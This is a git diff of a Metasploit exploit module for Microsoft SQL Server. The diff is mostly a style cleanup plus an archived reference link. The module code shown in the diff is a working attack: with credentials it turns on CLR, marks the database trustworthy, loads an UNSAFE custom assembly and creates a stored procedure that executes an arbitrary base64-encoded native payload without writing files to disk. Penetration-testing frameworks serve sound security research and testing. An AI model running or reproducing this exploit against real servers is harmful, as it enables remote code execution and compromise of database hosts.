diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb index 313c14d07b61..6fca0a513513 100644 --- a/modules/exploits/windows/mssql/mssql_clr_payload.rb +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -9,45 +9,48 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::MSSQL def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution', - 'Description' => %q{ - This module executes an arbitrary native payload on a Microsoft SQL - server by loading a custom SQL CLR Assembly into the target SQL - installation, and calling it directly with a base64-encoded payload. - - The module requires working credentials in order to connect directly to the - MSSQL Server. - - This method requires the user to have sufficient privileges to install a custom - SQL CRL DLL, and invoke the custom stored procedure that comes with it. - - This exploit does not leave any binaries on disk. - - Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). - }, - 'Author' => - [ - 'Lee Christensen', # original idea/research + super( + update_info( + info, + 'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution', + 'Description' => %q{ + This module executes an arbitrary native payload on a Microsoft SQL + server by loading a custom SQL CLR Assembly into the target SQL + installation, and calling it directly with a base64-encoded payload. + + The module requires working credentials in order to connect directly to the + MSSQL Server. + + This method requires the user to have sufficient privileges to install a custom + SQL CRL DLL, and invoke the custom stored procedure that comes with it. + + This exploit does not leave any binaries on disk. + + Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). + }, + 'Author' => [ + 'Lee Christensen', # original idea/research 'Nathan Kirk', # extra research/blog post 'OJ Reeves' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/'] + 'License' => MSF_LICENSE, + 'References' => [ + # as of January 9, 2025 http://sekirkity.com is now a banner ad site w/ NSFW content. + ['URL', 'https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/'] ], - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Automatic', {}]], - 'DefaultTarget' => 0, - 'DisclosureDate' => '1999-01-01' - )) + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => '1999-01-01' + ) + ) register_options( [ OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master']) - ]) + ] + ) end def check @@ -74,7 +77,7 @@ def check end def get_sql_version_string - mssql_query("select @@version", false)[:rows].first[0] + mssql_query('select @@version', false)[:rows].first[0] end def get_sql_architecture(sql_version_string) @@ -101,7 +104,7 @@ def set_trustworthy(on) result[:errors].each do |err| vprint_error(err) end - fail_with(Failure::Unknown, "Failed to change Trustworthy setting") + fail_with(Failure::Unknown, 'Failed to change Trustworthy setting') end end @@ -112,18 +115,18 @@ def is_trustworthy end def enable_clr(enable) - query = %Q^ + query = %( EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'clr enabled', #{enable ? 1 : 0}; RECONFIGURE; - ^ + ) result = mssql_query(query, false) unless result[:errors].empty? result[:errors].each do |err| vprint_error(err) end - fail_with(Failure::Unknown, "Failed to change CLR setting") + fail_with(Failure::Unknown, 'Failed to change CLR setting') end end @@ -180,14 +183,14 @@ def exploit # Convert the assembly to the required format for execution of the stored # procedure to create the custom stored proc hex_assembly = "0x#{assembly.unpack('H*')[0]}" - asm_name = Rex::Text.rand_text_alpha(rand(4) + 8) + asm_name = Rex::Text.rand_text_alpha(rand(8..11)) query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" print_status('Adding custom payload assembly ...') mssql_query(query, false) - proc_name = Rex::Text.rand_text_alpha(rand(4) + 8) - param_name = Rex::Text.rand_text_alpha(rand(4) + 8) + proc_name = Rex::Text.rand_text_alpha(rand(8..11)) + param_name = Rex::Text.rand_text_alpha(rand(8..11)) query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]" print_status('Exposing payload execution stored procedure ...') @@ -214,7 +217,6 @@ def exploit print_status('Restoring Trustworthy setting ...') set_trustworthy(false) end - ensure disconnect end